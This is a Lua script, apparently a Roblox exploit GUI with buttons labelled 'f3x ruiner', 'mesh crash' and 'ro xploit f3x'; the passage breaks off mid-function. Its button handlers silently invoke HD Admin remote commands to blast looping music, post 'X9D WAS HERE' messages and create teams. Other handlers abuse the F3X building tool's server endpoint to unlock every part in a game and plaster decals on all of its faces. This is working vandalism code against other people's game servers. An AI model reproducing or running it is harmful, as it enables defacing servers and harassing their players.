G2L["3f"]["BorderSizePixel"] = 5;
G2L["3f"]["TextSize"] = 36;
G2L["3f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3f"]["Size"] = UDim2.new(0, 105, 0, 33);
G2L["3f"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["3f"]["Text"] = [[title all]];
G2L["3f"]["Position"] = UDim2.new(0.39636, 0, 0.38183, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["40"] = Instance.new("LocalScript", G2L["3f"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel
G2L["41"] = Instance.new("TextLabel", G2L["6"]);
G2L["41"]["BorderSizePixel"] = 5;
G2L["41"]["TextSize"] = 35;
G2L["41"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["41"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["41"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["41"]["Size"] = UDim2.new(0, 386, 0, 58);
G2L["41"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["41"]["Text"] = [[musics]];
G2L["41"]["Position"] = UDim2.new(0.11954, 0, 0.41347, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton
G2L["42"] = Instance.new("TextButton", G2L["41"]);
G2L["42"]["TextWrapped"] = true;
G2L["42"]["BorderSizePixel"] = 5;
G2L["42"]["TextSize"] = 36;
G2L["42"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["42"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["42"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["42"]["Size"] = UDim2.new(0, 176, 0, 33);
G2L["42"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["42"]["Text"] = [[fak all flippers]];
G2L["42"]["Position"] = UDim2.new(-0.12954, 0, 1.39907, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript
G2L["43"] = Instance.new("LocalScript", G2L["42"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton
G2L["44"] = Instance.new("TextButton", G2L["41"]);
G2L["44"]["TextWrapped"] = true;
G2L["44"]["BorderSizePixel"] = 5;
G2L["44"]["TextSize"] = 36;
G2L["44"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["44"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["44"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["44"]["Size"] = UDim2.new(0, 105, 0, 33);
G2L["44"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["44"]["Text"] = [[wonga]];
G2L["44"]["Position"] = UDim2.new(0.37564, 0, 1.39907, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript
G2L["45"] = Instance.new("LocalScript", G2L["44"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton
G2L["46"] = Instance.new("TextButton", G2L["41"]);
G2L["46"]["TextWrapped"] = true;
G2L["46"]["BorderSizePixel"] = 5;
G2L["46"]["TextSize"] = 36;
G2L["46"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["46"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["46"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["46"]["Size"] = UDim2.new(0, 156, 0, 33);
G2L["46"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["46"]["Text"] = [[erika phonk]];
G2L["46"]["Position"] = UDim2.new(0.6917, 0, 1.39907, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript
G2L["47"] = Instance.new("LocalScript", G2L["46"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton
G2L["48"] = Instance.new("TextButton", G2L["41"]);
G2L["48"]["TextWrapped"] = true;
G2L["48"]["BorderSizePixel"] = 5;
G2L["48"]["TextSize"] = 36;
G2L["48"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["48"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["48"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["48"]["Size"] = UDim2.new(0, 133, 0, 33);
G2L["48"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["48"]["Text"] = [[bodypartz]];
G2L["48"]["Position"] = UDim2.new(-0.13213, 0, 2.26114, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript
G2L["49"] = Instance.new("LocalScript", G2L["48"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton
G2L["4a"] = Instance.new("TextButton", G2L["41"]);
G2L["4a"]["TextWrapped"] = true;
G2L["4a"]["BorderSizePixel"] = 5;
G2L["4a"]["TextSize"] = 36;
G2L["4a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4a"]["Size"] = UDim2.new(0, 133, 0, 33);
G2L["4a"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["4a"]["Text"] = [[c00lkidd]];
G2L["4a"]["Position"] = UDim2.new(0.25647, 0, 2.26114, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript
G2L["4b"] = Instance.new("LocalScript", G2L["4a"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton
G2L["4c"] = Instance.new("TextButton", G2L["41"]);
G2L["4c"]["TextWrapped"] = true;
G2L["4c"]["BorderSizePixel"] = 5;
G2L["4c"]["TextSize"] = 36;
G2L["4c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4c"]["Size"] = UDim2.new(0, 133, 0, 33);
G2L["4c"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["4c"]["Text"] = [[Gothic]];
G2L["4c"]["Position"] = UDim2.new(0.64766, 0, 2.26114, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript
G2L["4d"] = Instance.new("LocalScript", G2L["4c"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton
G2L["4e"] = Instance.new("TextButton", G2L["4"]);
G2L["4e"]["TextWrapped"] = true;
G2L["4e"]["BorderSizePixel"] = 5;
G2L["4e"]["TextSize"] = 14;
G2L["4e"]["TextScaled"] = true;
G2L["4e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4e"]["Size"] = UDim2.new(0, 219, 0, 68);
G2L["4e"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["4e"]["Text"] = [[ro xploit f3x]];
G2L["4e"]["Rotation"] = -8;
G2L["4e"]["Position"] = UDim2.new(1.01918, 0, 0.09187, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
G2L["4f"] = Instance.new("LocalScript", G2L["4e"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton
G2L["50"] = Instance.new("TextButton", G2L["4"]);
G2L["50"]["TextWrapped"] = true;
G2L["50"]["BorderSizePixel"] = 5;
G2L["50"]["TextSize"] = 14;
G2L["50"]["TextScaled"] = true;
G2L["50"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["50"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["50"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["50"]["Size"] = UDim2.new(0, 219, 0, 68);
G2L["50"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["50"]["Text"] = [[f3x ruiner]];
G2L["50"]["Rotation"] = -8;
G2L["50"]["Position"] = UDim2.new(1.04357, 0, 0.2319, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
G2L["51"] = Instance.new("LocalScript", G2L["50"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton
G2L["52"] = Instance.new("TextButton", G2L["4"]);
G2L["52"]["TextWrapped"] = true;
G2L["52"]["BorderSizePixel"] = 5;
G2L["52"]["TextSize"] = 14;
G2L["52"]["TextScaled"] = true;
G2L["52"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["52"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["52"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["52"]["Size"] = UDim2.new(0, 219, 0, 68);
G2L["52"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["52"]["Text"] = [[mesh crash]];
G2L["52"]["Rotation"] = -8;
G2L["52"]["Position"] = UDim2.new(1.07546, 0, 0.39306, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
G2L["53"] = Instance.new("LocalScript", G2L["52"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton
G2L["54"] = Instance.new("TextButton", G2L["4"]);
G2L["54"]["TextWrapped"] = true;
G2L["54"]["BorderSizePixel"] = 5;
G2L["54"]["TextSize"] = 14;
G2L["54"]["TextScaled"] = true;
G2L["54"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["54"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["54"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["54"]["Size"] = UDim2.new(0, 219, 0, 68);
G2L["54"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["54"]["Text"] = [[f y d map]];
G2L["54"]["Rotation"] = -8;
G2L["54"]["Position"] = UDim2.new(1.07546, 0, 0.58593, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
G2L["55"] = Instance.new("LocalScript", G2L["54"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton
G2L["56"] = Instance.new("TextButton", G2L["4"]);
G2L["56"]["TextWrapped"] = true;
G2L["56"]["BorderSizePixel"] = 5;
G2L["56"]["TextSize"] = 14;
G2L["56"]["TextScaled"] = true;
G2L["56"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["56"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["56"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["56"]["Size"] = UDim2.new(0, 219, 0, 68);
G2L["56"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["56"]["Text"] = [[Project Ligma F3X]];
G2L["56"]["Rotation"] = 17;
G2L["56"]["Position"] = UDim2.new(-0.41234, 0, 0.07602, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
G2L["57"] = Instance.new("LocalScript", G2L["56"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton
G2L["58"] = Instance.new("TextButton", G2L["4"]);
G2L["58"]["TextWrapped"] = true;
G2L["58"]["BorderSizePixel"] = 5;
G2L["58"]["TextSize"] = 14;
G2L["58"]["TextScaled"] = true;
G2L["58"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["58"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["58"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["58"]["Size"] = UDim2.new(0, 219, 0, 68);
G2L["58"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["58"]["Text"] = [[Project Moonlight]];
G2L["58"]["Rotation"] = 17;
G2L["58"]["Position"] = UDim2.new(-0.44799, 0, 0.2134, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
G2L["59"] = Instance.new("LocalScript", G2L["58"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton
G2L["5a"] = Instance.new("TextButton", G2L["4"]);
G2L["5a"]["TextWrapped"] = true;
G2L["5a"]["BorderSizePixel"] = 5;
G2L["5a"]["TextSize"] = 14;
G2L["5a"]["TextScaled"] = true;
G2L["5a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5a"]["Size"] = UDim2.new(0, 219, 0, 68);
G2L["5a"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["5a"]["Text"] = [[Polaria f3x]];
G2L["5a"]["Rotation"] = 17;
G2L["5a"]["Position"] = UDim2.new(-0.47613, 0, 0.38249, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
G2L["5b"] = Instance.new("LocalScript", G2L["5a"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton
G2L["5c"] = Instance.new("TextButton", G2L["4"]);
G2L["5c"]["TextWrapped"] = true;
G2L["5c"]["BorderSizePixel"] = 5;
G2L["5c"]["TextSize"] = 14;
G2L["5c"]["TextScaled"] = true;
G2L["5c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5c"]["Size"] = UDim2.new(0, 219, 0, 68);
G2L["5c"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["5c"]["Text"] = [[f3x hub with c00lguis by b2s new and old]];
G2L["5c"]["Rotation"] = 17;
G2L["5c"]["Position"] = UDim2.new(-0.49865, 0, 0.55422, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
G2L["5d"] = Instance.new("LocalScript", G2L["5c"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton
G2L["5e"] = Instance.new("TextButton", G2L["4"]);
G2L["5e"]["TextWrapped"] = true;
G2L["5e"]["BorderSizePixel"] = 5;
G2L["5e"]["TextSize"] = 36;
G2L["5e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5e"]["Size"] = UDim2.new(0, 147, 0, 58);
G2L["5e"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["5e"]["Text"] = [[R6]];
G2L["5e"]["Position"] = UDim2.new(0.72274, 0, -0.0006, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
G2L["5f"] = Instance.new("LocalScript", G2L["5e"]);
-- StarterGui.ScreenGui.ImageLabel.LocalScript
local function C_3()
local script = G2L["3"];
--// Services
local Players = game:GetService('Players')
local UIS = game:GetService("UserInputService")
--// Variables
local UI = script.Parent
local Player = Players.LocalPlayer
local Mouse = Player:GetMouse()
local Hovered = false
local Holding = false
local MoveCon = nil
local InitialX, InitialY, UIInitialPos
--// Functions
local function Drag()
if Holding == false then MoveCon:Disconnect(); return end
local distanceMovedX = InitialX - Mouse.X
local distanceMovedY = InitialY - Mouse.Y
UI.Position = UIInitialPos - UDim2.new(0, distanceMovedX, 0, distanceMovedY)
end
--// Connections
UI.MouseEnter:Connect(function()
Hovered = true
end)
UI.MouseLeave:Connect(function()
Hovered = false
end)
UIS.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
Holding = Hovered
if Holding then
InitialX, InitialY = Mouse.X, Mouse.Y
UIInitialPos = UI.Position
MoveCon = Mouse.Move:Connect(Drag)
end
end
end)
UIS.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
Holding = false
end
end)
end;
task.spawn(C_3);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_8()
local script = G2L["8"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";btools ;BuildingTools")
end)
end;
task.spawn(C_8);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_a()
local script = G2L["a"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 1839246711 ;pitch 1.2 ;volume inf")
end)
end;
task.spawn(C_a);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_c()
local script = G2L["c"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";h You Are Now In The World Of X9D.")
end)
end;
task.spawn(C_c);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_e()
local script = G2L["e"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";serverMessage You Are Now In The World Of X9D.")
end)
end;
task.spawn(C_e);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_10()
local script = G2L["10"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";createteam red X9D WAS HERE")
RequestCommand:InvokeServer(";createteam blue X9D WAS HERE2")
RequestCommand:InvokeServer(";createteam green X9D WAS HERE3")
RequestCommand:InvokeServer(";createteam purple X9D WAS HERE4")
end)
end;
task.spawn(C_10);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_12()
local script = G2L["12"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("93092188749697")
end)
end;
task.spawn(C_12);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_14()
local script = G2L["14"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("82934289144205")
end)
end;
task.spawn(C_14);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_16()
local script = G2L["16"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
